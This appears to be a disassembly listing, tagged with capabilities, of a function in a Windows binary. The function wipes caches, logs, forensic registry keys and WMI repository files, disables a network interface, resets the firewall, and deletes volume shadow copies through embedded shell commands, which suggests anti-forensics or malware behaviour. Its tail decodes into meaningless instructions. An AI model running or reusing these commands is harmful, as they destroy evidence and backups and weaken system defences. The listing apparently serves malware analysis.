Function at 0x140047640
Capabilities:
Capture network configuration via ipconfig
Delete directory
Delete volume shadow copies
Execute command
Self delete

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x40
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xor edi, edi
mov qword [rbp - 0x10], rdi
mov qword [rbp - 8], rdi
lea r8d, [rdi + 0x40]
lea rdx, str.C:Users_USERNAME_AppDataLocalMicrosoftWindowsSettingSync_
lea rcx, [rbp - 0x20]
call fcn.14004f6b0
nop
lea rdx, str.Excluindo_diret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14004ef60
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 7
cmova rdx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x10]
mov rcx, rax
call fcn.1400500d0
lea rdx, [0x14004f140]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp - 0x20]
cmp qword [rbp - 8], 7
cmova rcx, qword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x140047705
lea rdx, str.Erro_ao_excluir_diret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.14004ef60
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x14004f140]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x140047748
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047743
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140047743
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b2dec
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rdi
mov qword [rbp - 8], rdi
mov r8d, 0x50
lea rdx, str.C:Users_USERNAME_AppDataLocalMicrosoftWindowsExplorerThumbCacheToDelete_
lea rcx, [rbp - 0x20]
call fcn.14004f6b0
nop
lea rdx, str.Excluindo_diret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14004ef60
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 7
cmova rdx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x10]
mov rcx, rax
call fcn.1400500d0
lea rdx, [0x14004f140]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp - 0x20]
cmp qword [rbp - 8], 7
cmova rcx, qword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x1400477fb
lea rdx, str.Erro_ao_excluir_diret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.14004ef60
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x14004f140]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x14004783e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047839
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140047839
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b2dec
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rdi
mov qword [rbp - 8], rdi
mov r8d, 0x49
lea rdx, str.C:Users_USERNAME_AppDataLocalMicrosoftTerminal_Server_ClientCache_
lea rcx, [rbp - 0x20]
call fcn.14004f6b0
nop
lea rdx, str.Excluindo_diret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14004ef60
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 7
cmova rdx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x10]
mov rcx, rax
call fcn.1400500d0
lea rdx, [0x14004f140]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp - 0x20]
cmp qword [rbp - 8], 7
cmova rcx, qword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x1400478f1
lea rdx, str.Erro_ao_excluir_diret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.14004ef60
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x14004f140]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x140047934
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004792f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004792f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b2dec
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rdi
mov qword [rbp - 8], rdi
mov r8d, 0x3e
lea rdx, str.C:Users_USERNAME_AppDataLocalMicrosoftWindowsINetCache_
lea rcx, [rbp - 0x20]
call fcn.14004f6b0
nop
lea rdx, str.Excluindo_diret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14004ef60
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 7
cmova rdx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x10]
mov rcx, rax
call fcn.1400500d0
lea rdx, [0x14004f140]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp - 0x20]
cmp qword [rbp - 8], 7
cmova rcx, qword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x1400479e7
lea rdx, str.Erro_ao_excluir_diret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.14004ef60
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x14004f140]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x140047a2a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047a25
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140047a25
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b2dec
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, 0x42
lea rdx, str.C:Users_USERNAME_AppDataLocalMicrosoftWindowsWebCache.log
lea rcx, [rbp - 0x20]
call fcn.14004f6b0
nop
lea rcx, [rbp - 0x20]
call fcn.140046d20
nop
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x140047a9d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047a98
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140047a98
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b2dec
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, Ordinal_27
lea rdx, str.C:windowslogscbs.log
lea rcx, [rbp - 0x20]
call fcn.14004f6b0
nop
lea rcx, [rbp - 0x20]
call fcn.140046d20
nop
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x140047b10
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047b0b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140047b0b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b2dec
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, reloc.WLDAP32.dll_Ordinal_50
lea rdx, str.C:Users_USERNAME_AppDataLocalCrashDumps.log
lea rcx, [rbp - 0x20]
call fcn.14004f6b0
nop
lea rcx, [rbp - 0x20]
call fcn.140046d20
nop
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x140047b83
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047b7e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140047b7e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b2dec
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, Ordinal_33
lea rdx, str.C:WindowsLogsMoSetup.log
lea rcx, [rbp - 0x20]
call fcn.14004f6b0
nop
lea rcx, [rbp - 0x20]
call fcn.140046d20
nop
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x140047bf6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047bf1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140047bf1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b2dec
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, Ordinal_27
lea rdx, str.C:WindowsPanther.log
lea rcx, [rbp - 0x20]
call fcn.14004f6b0
nop
lea rcx, [rbp - 0x20]
call fcn.140046d20
nop
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x140047c69
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047c64
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140047c64
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b2dec
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.C:Windowsinf.log
lea rcx, [rbp - 0x20]
call fcn.14004f6b0
nop
lea rcx, [rbp - 0x20]
call fcn.140046d20
nop
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x140047cdc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047cd7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140047cd7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b2dec
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, reloc.WS2_32.dll_setsockopt
lea rdx, str.C:Windowslogs.log
lea rcx, [rbp - 0x20]
call fcn.14004f6b0
nop
lea rcx, [rbp - 0x20]
call fcn.140046d20
nop
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x140047d4f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047d4a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140047d4a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b2dec
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, Ordinal_41
lea rdx, str.C:WindowsSoftwareDistribution.log
lea rcx, [rbp - 0x20]
call fcn.14004f6b0
nop
lea rcx, [rbp - 0x20]
call fcn.140046d20
nop
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x140047dc2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047dbd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140047dbd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b2dec
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, reloc.WLDAP32.dll_Ordinal_30
lea rdx, str.C:WindowsMicrosoft.NET.log
lea rcx, [rbp - 0x20]
call fcn.14004f6b0
nop
lea rcx, [rbp - 0x20]
call fcn.140046d20
nop
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x140047e35
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047e30
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140047e30
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b2dec
lea rcx, str.rd__s__q__C:MSOCache_
call fcn.1400470b0
lea rcx, str.rd__s__q__C:UsersPublicShared_Files_
call fcn.1400470b0
lea rcx, str.RunDll32.exe_InetCpl.cpl_ClearMyTracksByProcess_8
call fcn.1400470b0
lea rcx, str.erase___LOCALAPPDATA_MicrosoftWindowsTempor1.___f__s__q
call fcn.1400470b0
lea rcx, str.netsh_interface_set_interface__Local_Area_Connection__disable
call fcn.1400470b0
lea rcx, str.del__a__q__s__C:Users_Username_AppDataLocalIconCache.db_
call fcn.1400470b0
lea rcx, str.del__a__q__s__C:Users_Username_AppDataLocalupdater.log_
call fcn.1400470b0
lea rcx, str.del__a__q__s__C:Users_Username_AppDataLocalIconCache.db_
call fcn.1400470b0
lea rcx, str.del___localappdata_MicrosoftFeeds___s__f__q
call fcn.1400470b0
lea rcx, str.del__s__f__q_C:WindowsPublicLibraries.
call fcn.1400470b0
lea rcx, str.del__s__f__q__windir__system32dllcache.
call fcn.1400470b0
lea rcx, str.rd__s__q__windir__system32dllcache
call fcn.1400470b0
lea rcx, str.md__windir__system32dllcache
call fcn.1400470b0
lea rcx, str.rmdir__s__q___systemdrive_WindowsSystem32wbemRepositoryOBJECTS.DATA._
call fcn.1400470b0
lea rcx, str.rmdir__s__q___systemdrive_WindowsSystem32wbemRepositoryINDEX.BTR._
call fcn.1400470b0
lea rcx, str.rmdir__s__q___systemdrive_WindowsSystem32wbemRepositoryMAPPING3.MAP._
call fcn.1400470b0
lea rcx, str.SoftwareMicrosoftWindowsCurrentVersionAppletsRegedit
call fcn.140047200
lea rcx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist
call fcn.140047200
lea rcx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerRecentDocs
call fcn.140047200
lea rcx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerRunMRU
call fcn.140047200
lea rcx, str.SoftwareMicrosoftWindowsCurrentVersionUFHSHC
call fcn.140047200
lea rcx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerFileExts.dllOpenWithList
call fcn.140047200
lea rcx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32CIDSizeMR
call fcn.140047200
lea rcx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32
call fcn.140047200
lea rcx, str.SoftwareWinrarArcHistory
call fcn.140047200
lea rcx, str.SoftwareWinRARDialogEditHistoryExtrPath
call fcn.140047200
lea rcx, str.SoftwareMicrosoftWindowsShellBags
call fcn.140047200
lea rcx, str.SoftwareMicrosoftWindowsShellBagMRU
call fcn.140047200
lea rcx, str.SoftwareClassesLocal_SettingsSoftwareMicrosoftWindowsShellBags
call fcn.140047200
lea rcx, str.SoftwareClassesLocal_SettingsSoftwareMicrosoftWindowsShellBagMRU
call fcn.140047200
lea rcx, str.SoftwareClassesLocal_SettingsSoftwareMicrosoftWindowsShellMuiCache
call fcn.140047200
lea rcx, str.SoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantStore
call fcn.140047200
lea rcx, str.SoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantPersisted
call fcn.140047200
lea rcx, str.SoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsLayers
call fcn.140047200
lea rcx, str.SoftwareMicrosoftWindowsCurrentVersionAppletsRegedit
call fcn.140047200
lea rcx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist
call fcn.140047200
lea rcx, str.ipconfig__flushdns
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_interface_ip_delete_arpcache
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.certutil__URLCache__delete
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_winsock_reset
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_advfirewall_reset
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.ipconfig__flushdns
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_interface_ip_delete_arpcache
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.certutil__URLCache__delete
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_winsock_reset
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_advfirewall_reset
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.vssadmin_delete_shadows
mov rbx, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x40
pop rbp
jmp qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
and byte [rdx + 0x61], r13b
push rdx
pop rax
and ecx, dword [rdx + 0x2dfd2f59]
mov al, 5
sub al, 0x4b
and byte [rax + 0x58502603], dh
push rax
pop rax
push rcx
pop rax
mov al, 0x80
sbb r14d, dword [rax + 0x1b594440]
pop rcx
sbb esp, dword [rcx]
and dword [rax], esp
mov r8b, 0xc0
push rax
pop rax
mov al, 0xc0
sbb r12d, dword [rcx]
pop rcx
pop rcx
sub eax, 0x202c06b0
sub al, 0x20
and byte [rbp + 0x69], al
mov al, 1
invalid
and byte [r8 + 0x58532603], sil
mov al, 0x40
sbb esi, dword [rax - 0x7575a700]
mov al, 0
pop rcx
mov cl, byte [rdx + 0x2603b020]
push rbx
pop rax
mov al, 0
pop rcx
mov cl, byte [rdx + 0x2603b020]
push rbx
pop rax
and esp, dword [rcx]
mov al, 0x80
mov cl, byte [rdx + 0x59238a1b]
and byte [rax + 0x58532603], dh
push rbx
pop rax
push rbx
pop rax
and esp, dword [rcx]
mov al, 0xc0
ror byte [rdx + 0x238a1b8a], 0x59
mov ecx, 0x40040
invalid
mov ecx, 0xe8032200
jo 0x14019d5e2
sbb esi, dword [rax - 0x4fa7acdd]
and byte [rax + 0x540010b8], cl
pop rax
mov ecx, 0xe8032200
invalid
jo 0x14019d5f6
call 0x199732f0f
jo 0x14019d5f6
pop rcx
pop rcx
pop rcx
pop rcx
sub eax, 0xb02c0db0
mov byte [rax + 0x585a0020], dil
mov cl, reloc.WLDAP32.dll_Ordinal_35
add byte [rbx + rbx - 0x47], al
add byte [rbx], ah
add ebp, eax
pop rcx
pop rcx
pop rcx
sub eax, 0xb02b0cb0
add byte [rbx], ch
add byte [rdx + 0x2b020b01], dh
add byte [rdi + 0x1f283101], dh
invalid
sub esi, dword [rdi + 0x5c779104]
ja 0x14019d644
cmp ah, byte [rbx]
add byte [rax], cl
sub esi, dword [rdi + 0x4b607605]
jbe 0x14019d651
sbb eax, 0xb72b0800
invalid
sub esi, dword [rdi + 0x181f2506]
adc dword [rbx], ecx
add byte [rax], cl
sub esi, dword [rdi + 0x2a364207]
invalid
sub bl, byte ss:[rsi]